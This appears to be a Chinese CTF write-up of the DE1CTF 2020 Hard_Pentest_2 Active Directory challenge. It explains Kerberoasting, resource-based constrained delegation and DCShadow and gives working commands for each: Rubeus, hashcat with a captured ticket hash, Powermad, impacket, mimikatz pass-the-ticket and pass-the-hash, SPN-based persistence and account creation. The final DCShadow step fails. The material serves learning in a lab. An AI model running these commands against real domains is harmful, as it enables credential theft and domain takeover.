DE1CTF题目的环境持续开了一周的时间,然后用了六天的时间才复现完一道题,是一道涉及域渗透的题目,和出
题人咨询,好像题目环境也有点问题,按他的writeup不能成功,然后自己查资料后,最后成功提权,但是最后一
步拿到域控试了半天还是没有成功。由于之前也是没有学过域渗透这方面,借着他的环境边学习边实践,学到了很
多知识点和一些工具的使用,对域渗透也是有了一点了解,题目巧妙地结合了域渗透的一系列知识点。
- GPP漏洞:组策略选项(GPP)给域成员添加的账户信息会保存在SYSVOL文件夹中,使用微软公开的密钥可以直接解密出密码。
- kerberoasting:如果当前拥有一个普通的域用户权限且对一个用户有写入spn(ServicePrincipalNames)的权限,就可以进行kerberoasting攻击,可以通过爆破得到对应用户的密码。
- 基于资源的约束委派攻击:个人理解,传统的约束委派是通过msDS-AllowedToDelegateTo 设置了当前可以委派的对象,即我可以委派谁;不同于传统的约束委派,基于资源的约束委派是通过msDS-AllowedToActOnBehalfOfOtherIdentity来设置谁可以委派我。个人认为原理就是伪造TGS。
- DCshadow:利用域控之间的数据同步推送,向活动目录数据库中注入恶意数据对象,原理还不是很懂,当有特殊的一些扩展权限就可以利用DCshadow,修改primaryGroupID属性,变成域控。
Hard_Pentest_2
提示了de1ta的权限,然后利用AdFind.exe查一下,执行
1 | AdFind.exe -sc getacls -sddlfilter ;;;;;de1ctf2020\web -recmute |
可得
web用户具有对De1ta用户有写入SPN权限。具体可以参考下面:
(2) servicePrincipalName(28630EBB-41D5-11D1-A9C1-0000F80367C1)
如果对一个对象有写入spn的权限,那么就可以对这个对象进行kerberosting了,如果密码强度不强的话,有机会获取到密码。
有权限,可以设置spn
查看spn
kerberoasting
然后去设置spn,spn是win自带的工具,不用上传,
利用spn进行kerberoasting的原理可以参考下面3gstudent师傅文章。
SPN
官方文档:
https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
全称
Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为
Local System
或Network Service
,则SPN注册在机器帐户(Computers)下当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
SPN的格式
1 serviceclass/host:port/servicename说明:
- serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
- host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
- 如果服务运行在默认端口上,则端口号(port)可以省略
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1) 使用SetSPN
Win7和Windows Server2008自带的工具
查看当前域内的所有SPN:
1 setspn.exe -q */*查看test域内的所有SPN:
1 setspn.exe -T test -q */*输出结果实例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 CN=DC1,OU=Domain Controllers,DC=test,DC=com
exchangeRFR/DC1
exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com
exchangeMDB/DC1
exchangeAB/DC1
exchangeAB/DC1.test.com
SMTP/DC1
SMTP/DC1.test.com
SmtpSvc/DC1
SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com
ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
DNS/DC1.test.com
GC/DC1.test.com/test.com
RestrictedKrbHost/DC1.test.com
RestrictedKrbHost/DC1
HOST/DC1/TEST
HOST/DC1.test.com/TEST
HOST/DC1
HOST/DC1.test.com
HOST/DC1.test.com/test.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
ldap/DC1/TEST
ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
ldap/DC1.test.com/TEST
ldap/DC1
ldap/DC1.test.com
ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
RestrictedKrbHost/COMPUTER01
HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com
HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
MSSQLSvc/DC1.test.com以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
对于上面的输出数据,机器帐户(Computers)为:
- CN=DC1,OU=Domain Controllers,DC=test,DC=com
- CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用户帐户(Users)为:
- CN=krbtgt,CN=Users,DC=test,DC=com
- CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
注册在域用户帐户(Users)下的SPN有两个:
kadmin/changepw
和MSSQLSvc/DC1.test.com
0x03 Kerberoasting的原理
1、Kerberos认证过程
一个简单的Kerberos认证过程如下图
- as_request
- as_reply
- tgs_request
- tgs_reply
- ap_request
- ap_reply
对于4.tgs_reply,用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为
RC4-HMAC
站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令
2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
这里举一个例子:
用户a要访问MySQL服务的资源,进行到4.tgs_reply时,步骤如下:
(1)Domain Controller查询MySQL服务的SPN
如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户
如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户
(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS
3、域内的主机都能查询SPN
4、域内的任何用户都可以向域内的任何服务请求TGS
综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:
- 查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
- 请求TGS
- 导出TGS
- 暴力破解
0x04 Kerberoasting的实现方法一
1、获得有价值的SPN
需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
可以选择以下三种方法:
(1)使用powershell模块Active Directory
注:
powershell模块Active Directory 需要提前安装,域控制器一般会安装
1
2 import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:
1 import-module .\Microsoft.ActiveDirectory.Management.dllMicrosoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,我已经提取出来并上传至github:
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
(2)使用PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
1 Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon(3)使用kerberoast
powershell:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
参数如下:
1 cscript GetUserSPNs.vbs2、请求TGS
(1)请求指定TGS
1
2
3 $SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName(2)请求所有TGS
1
2 Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }执行后输入
klist
查看内存中的票据,可找到获得的TGS3、导出
使用mimikatz
1 kerberos::list /export4、破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
1 ./tgsrepcrack.py wordlist.txt test.kirbi0x05 Kerberoasting的实现方法二
自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
代码地址:
https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921
使用
System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解实例演示:
在域内一台主机上以普通用户权限执行:
1 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl-AdminCount表示选择高权限的用户
输出结果如下图
只提取出hash的参数如下:
1 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation输出结果如下图
使用hashcat破解的参数如下:
1 hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force破解结果如下图,成功获得明文口令
MySQLAdmin111!
注:
Rubeus也可以实现Invoke-Kerberoast的功能,地址如下:
https://github.com/GhostPack/Rubeus
参数如下:
1 Rubeus.exe kerberoast0x06 Kerberoasting的后门利用
在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令
例如为域用户
Administrator
添加SPNVNC/DC1.test.com
,参数如下:
1 setspn.exe -U -A VNC/DC1.test.com Administrator如下图
在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,如下图
再使用hashcat破解即可
补充:
删除SPN的参数如下:
1 setspn.exe -D VNC/DC1.test.com Administrator
这里用rubeus.exe进行Kerberoastong攻击,
拿到De1ta的spn hash,然后用hashcat暴力破解hash,对应的命令如下,
1 | hashcat64.exe -a 3 -m 13100 de1ta_spn.txt ?h?h?h?h?h?h?h?h |
还可以这样:
1 | hashcat64.exe -a 3 -m 13100 $krb5tgs$23$*De1ta$De1CTF2020.lab$http/DM.De1CTF2020.lab*$61050147501E33CBDD5989D54AF1DF7B$346869F1DD94F400AE5C9925D03AA79F11B114AA6304B1ADAA7527796F7A80B4A21D1C0 FD329739F4572C9F0FC05622195960B66199E632715E616A79A92C3EB2CDF16EBB4A48575B3C6138065B2DCF544550C4A670FC5F3A55E61E2FE66762672ABFB9DA87018D91A2BED79EA50FA2AEB3E710339A2A733DDAEBC9017E49019132F99DCC626444E9F91885F539AB23BBB1AD082446B567B8FD29C72708FE6B56252CEA3BE85EACD0433644E9E99E2C8A8930FBB6043E1CD18054E4C948BBB5F0C5F3C9E2EA85E305079CC8CC38049AF88D37AE6211D75A3D06092350799BFFC23B9C4B1EE2BB1C586241374A23170B8F44E64E7A9B6101B780D28ACE1CB67152D54756EF57C21326E1C96B73680E5D495897F6086BBEDA269013C32C27C9029F11746B2B3F2AADFFB1831FA6761020894A81633FD5F8171D49EFDCEA0F89D696C3901A0A62F533BAC8CEDFD7BA77C6FBE095C1383A177D51C46603BDC236EBEF958FA9955226FDB551C0AC76EBDB4575782E215F7C05B1727107EC4B5468C92D3414BA53659E1A6A53F2E8608D9696AB0E11F32658DD9012AF96B74B2B8DE441FFADA666FA30012636B21C0AD46576F30467FD9C8923BEF4A9F37FCD4142E03423F692E7F9C36BD3626E3AA066C3254EADA1BDEB7B51B2EB256A4B79235D5854401CC9F73290352E550E41CE23C394A93FCBFBE35C398145E75FA64F1CE09A0B866F401B79351122DFCB1096999C879334C8D95F5B41601C713D6DA4ECB024D55680E8E71BED081EA48152561770DE047EBE017B10615A3DF335B3432718E3D000ECBBD21EFECF0D705B15C67763B4841BFA4EE6C78ED823B3A039E159DC16E024972E6EDFC7BE3057DF2EBA5C37274AE8753AA3675E02E5C52F8ABFFAD4B1B2DD97613092269E28370609DC24F295F5B769BED8AB95BE971B12B60608BCFB191BAC206D56AF13D5793B3F795AED53F7DF5D80056BC7799E223F7627EC8572AF324613813A8DBC78CC6DDAF85148A99C05BF802F63E64A77DE4BB9A0DC8B7DCDA97B80CDFCE0138EE81B1808F8F8BB4AAD3EF9CABAE504699F86938325C9D8C181FA66C95C986AE9D34D7B3DD15F2FAA29149815D3581F6462508D81D4A275F128A38C1DC8CEB54C2B8B98445DDE60C7469B598C172278A0BB6E17967998131712B55ACD27F0369133140E57A100CECB2625402F23CA3F246EACEEE638F1BC518CD0EDBA8B94492795833B1DB5D9F7C46DC4EA6014C750276F07190F181951918F028FB0CA4CB1617FC5E5EF7DBCD09D59E26C76B6AA7CC36D5A2EBF8670E018CCC1E3BE7E1D58E6FC798323421A3424562B9E14B325E50B36B14C8A4B3F42B43CF40DD73DF235F1B87FA6F2578767739608791CF4706140F02CE03F523A06069DA1C293E9BED7B188EEF41 -1 0123456789abcdef --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1 |
前面已经提示了De1ta有特殊的扩展权限,然后再用adfind去查看De1ta的acl权限
1 | AdFind.exe -sc getacls -sddlfilter ;;;;;de1ctf2020\De1ta -recmute |
可以看到上图框中的三个权限(Add/Remove Replica In Domain、Replication Synchronization、Manage Replication Topology),大佬说上面三个权限可以进行DCShadow攻击,具体攻击原理可以看https://blog.riskivy.com/dcshadow/这篇文章,
但是单单三个权限还是不满足Dcshadow的条件的,还要对当前主机属性具有写权限以及对
CN=Sites,CN=Configuration,DC=De1CTF2020,DC=lab
容器具有Create Child
和Delete Chind
权限。然后再收集一波相关的ACL发现De1ta用户对
CN=Sites,CN=Configuration,DC=De1CTF2020,DC=lab
容器具有Create Child
和Delete Chind
权限
1 | AdFind.exe -s subtree -b "cn=sites,cn=Configuration,dc=De1CTF2020,dc=lab" -sc getacl -sddl+++ -sddlfilter ;;;;;de1ctf2020\De1ta -recmute |
继续查看De1ta对当前主机DM属性具有写权限,
即可进行基于资源的约束委派攻击。
1 | AdFind.exe -s subtree -b "cn=dm,cn=computers,dc=De1CTF2020,dc=lab" -sc getacl -sddl+++ -sddlfilter ;;;;;de1ctf2020\De1ta -recmute |
然后通过基于资源的约束委派对当前主机进行本地提权。详细原理参考,另外还有视频操作
这里首先用klist purge命令把登录会话的所有票证清空,然后
klist语法
1 klist [-lh <LogonId.HighPart>] [-li <LogonId.LowPart>] tickets | tgt | purge | sessions | kcd_cache | get | add_bind | query_bind | purge_bind
之后请求一个TGT,并导入会话中,
1 | Rubeus.exe hash /user:de1ta /password:3f23ea12 /domain:De1CTF2020.lab |
1 | Rubeus.exe asktgt /user:de1ta /rc4:B03094996601324646AC223BF30D0D07 /ptt |
然后klist查询下票据,可以看见
之后参考这篇文章,进行基于资源的约束委派攻击,首先使用Kevin-Robertson/Powermad来添加一个账号
1 | New-MachineAccount -MachineAccount mount -Password $(ConvertTo-SecureString "mount" -AsPlainText -Force) |
然后利用powerview的Get-DomainComputer得到mount的sid。
然后设置DM的msds-allowedtoactonbehalfofotheridentity属性,添加新建的mount,达到可以让mount可以模拟任意用户访问DM的服务,即基于资源的约束委派攻击进行提权。
1 | SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1806179181-549835139-1294087714-1129)"; |
可以利用powerview的如下命令来检测是否设置成功,
1 | RawBytes = Get-DomainComputer DM -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity; $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0; $Descriptor.DiscretionaryAcl |
然后在生成对应的白银票据(伪造的tgs),参考先知的文章要分别生成(cifs,host)两个票据,这里采用rubeus.exe来进行基于资源的约束委派利用,因为rubeus.exe不支持明文,所以首先生成hash。
1 | Rubeus.exe hash /user:mount /password:mount /domain:De1CTF2020.lab |
1 | Rubeus.exe s4u /user:mount$ /rc4:A7BD777076A164E74E418F0913174929 /impersonateuser:Administrator /msdsspn:cifs/dm /ptt |
之后klist检查票据
然后测试效果
失败,看出题人博客也说rubeus 的不可以,
然后开始用impacket,这里要用pyinstaller把impacket的程序打包,github上面也有现成的,
1
2
3 getST.exe -dc-ip 192.168.0.12 -spn cifs/dm -impersonate Administrator de1ctf2020.lab/mount:mount
env:KRB5CCNAME="Administrator.ccache"
.\wmiexec.exe -no-pass -k dm shell.exe
1 | getst.exe -dc-ip 192.168.0.12 -spn cifs/dm -impersonate Administrator de1ctf2020.lab/mount:mount |
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是cifs
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache
-no-pass
执行wmiexec.exe等都没有成功,然后利用mimikatz.exe把Administrator.ccache导入会话,
1 | shell mimikatz.exe "privilege::debug" "kerberos::ptc Administrator.ccache" |
然后在运行,还是失败,
出现这个错误原因可能是什么组册表,参考这篇文章,要改注册表,但是无权限,pth吧,没有administrator的hash,爬。
1 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
之后尝试内网穿透,用frp挂上代理,然后,还是失败,好像本地解析不了dm,
然后就没办法复现下去了,有师傅做出来的可以评论告诉我这个菜鸡,我哪里除了问题,太菜了。
之后参考了n1nty大佬(https://mp.weixin.qq.com/s/gw1EIMnXQ9tCZLkdvKdzAg)[文章](https://paper.seebug.org/620/#s4u-service-for-user)
然后在我的虚拟机/etc/hosts 添加了 192.168.0.12 dm ,然而并没有解决问题,之后就开始搜索proxychains dns解析的东西,是proxyresolv,开始它是这样的
看上面之所以失败就是这里的4.2.2.2不能解析dm,然后我们需要解析dm为192.168.0.12,这里图简单然后就无脑地让程序输出192.168.0.12就可以了,,,,
然后还是之前的一套流程,用wmiexec.py还是不成功,然后试了试smbexec.py,然后就可以了,
之后退出过一回,在用smbexec.py就报错了,什么服务已存在,然后就只能用acexec.py来执行单条命令了,然后生成一个后门执行后在cs得到一个system权限的shell。
进行DCShadow攻击需要打开两个mimikatz窗口,然后开启远程桌面(也可以不开远程桌面,可以参考出题人博客),这里利用frp进行代理,frp使用请看另一篇文章,代理设置好之后,就可以利用这篇文章提到的Pass the Hash with Remote Desktop利用ntlm直接登录远程桌面
1 | privilege::debug |
Restricted Admin mode,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中
适用系统
- Windows 8.1和Windows Server 2012 R2默认支持该功能
- Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
远程桌面打不开,然后新建一个用户,
1 | net user username password /add #添加用户 |
然后mstsc.exe,直接输入账号密码连接,第一次拿到别人的远程桌面,,,,,,,,,,
然后就是DCShadow,以管理员打开一个mimikatz.exe,然后输入
1 | !+ |
然后在以de1ta用户的身份,push推送,试了半天就是没成功。
1 | Rubeus.exe asktgt /user:de1ta /rc4:B03094996601324646AC223BF30D0D07 /domain:de1ctf2020.lab /ptt && mimikatz.exe "lsadump::dcshadow /push" "exit" |
然后在Coblt Strike中也没成功,,,,,,,,
报错如下
查了报错也都是说是因为第一步没有用system权限打开mimikatz,exe,是用system打开的啊。😵😵😵
参考
https://mp.weixin.qq.com/s/1CR0up_b5a1zw02wZNwJpg
https://byqiyou.github.io/2020/05/06/De1CTF2020/#Hard-Pentest